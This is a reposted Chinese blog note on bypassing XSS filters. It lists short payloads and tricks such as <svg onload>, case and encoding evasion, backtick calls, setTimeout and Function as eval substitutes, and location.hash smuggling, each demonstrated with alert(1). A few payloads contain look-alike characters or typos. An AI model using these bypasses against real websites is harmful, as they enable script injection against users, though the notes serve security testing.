xssbypass小记

简单整理下bypass的一些点

标签外

如果是标签之外 又有htmlspecialchars函数的点 就别想了

在标签外同时能xss但是有长度限制 

如果是储存型可以利用多个点 然后构造<script>标签 在中间利用/**/注释掉html代码 一点一点的组合payload

除此以外<svg/οnlοad=alert(1)>应该是比较短的payload了

 

标签内

标签内 有htmlspecialchars函数的点 就看属性包裹是不是用单引号  htmlspecialchars函数默认不过滤单引号

也可以考虑html的十进制编码和十六进制编码

 

JavaScript中

一般输出在js之中 首先就是闭合之前的单引号或者双引号

有过滤 想到大小写和编码

关于编码 这篇文章讲的比较好http://cb.drops.wiki/drops/tips-689.html

js是大小写敏感的  但是html是大小写不敏感的

例如对正则式对事件on过滤 又没有加i   是可以用On绕过

然后考虑js的八进制和十进制 还有unicode

 

如果过滤了()  可以用·代替 alert() 和alert``效果是一样的

 

如果过滤了eval()  可以用时钟函数替代  setTtimeout(),setInterval()

  还有匿名函数  Function(location.hash.slice(1))(1) 然后配合锚点后的输入

 

如果过滤了alert ,document等敏感的字符串  可以配合锚点利用location.hash

  location.hash #alert(1)

  相似的<svg/οnlοad=location=location.hash.substr(1)>#javascript:alert(1)

 

还有一个姿势利用注释也能完成 

  <svg/οnlοad=location='javascript:/*'+location.hash> #*/alert(1)

 

 

在url中的<svg/οnlοad=location="javascript:"+innerHTML+location.hash>"  #"-alert(1)

  据说也能弹  不过我没试过

 

有多个参数 在过滤双引号但是反斜杠存活的时候

  可以利用反斜杠直接闭合中间的双引号 再注释后面的双引号

  location.href="........."+"&a=1\"+"&b=xss//"+"&c=";

 

<svg><script>alert&#40;1)</script>
  svg向量里面的script将其作为xml解析
  &#40; &lpar; &#x28;即被解析为(
 
callback函数里的值如果无法控制 可以尝试在后面再加一个callback 试试变量覆盖
 

 

转载于:https://www.cnblogs.com/slpawn/p/8630740.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值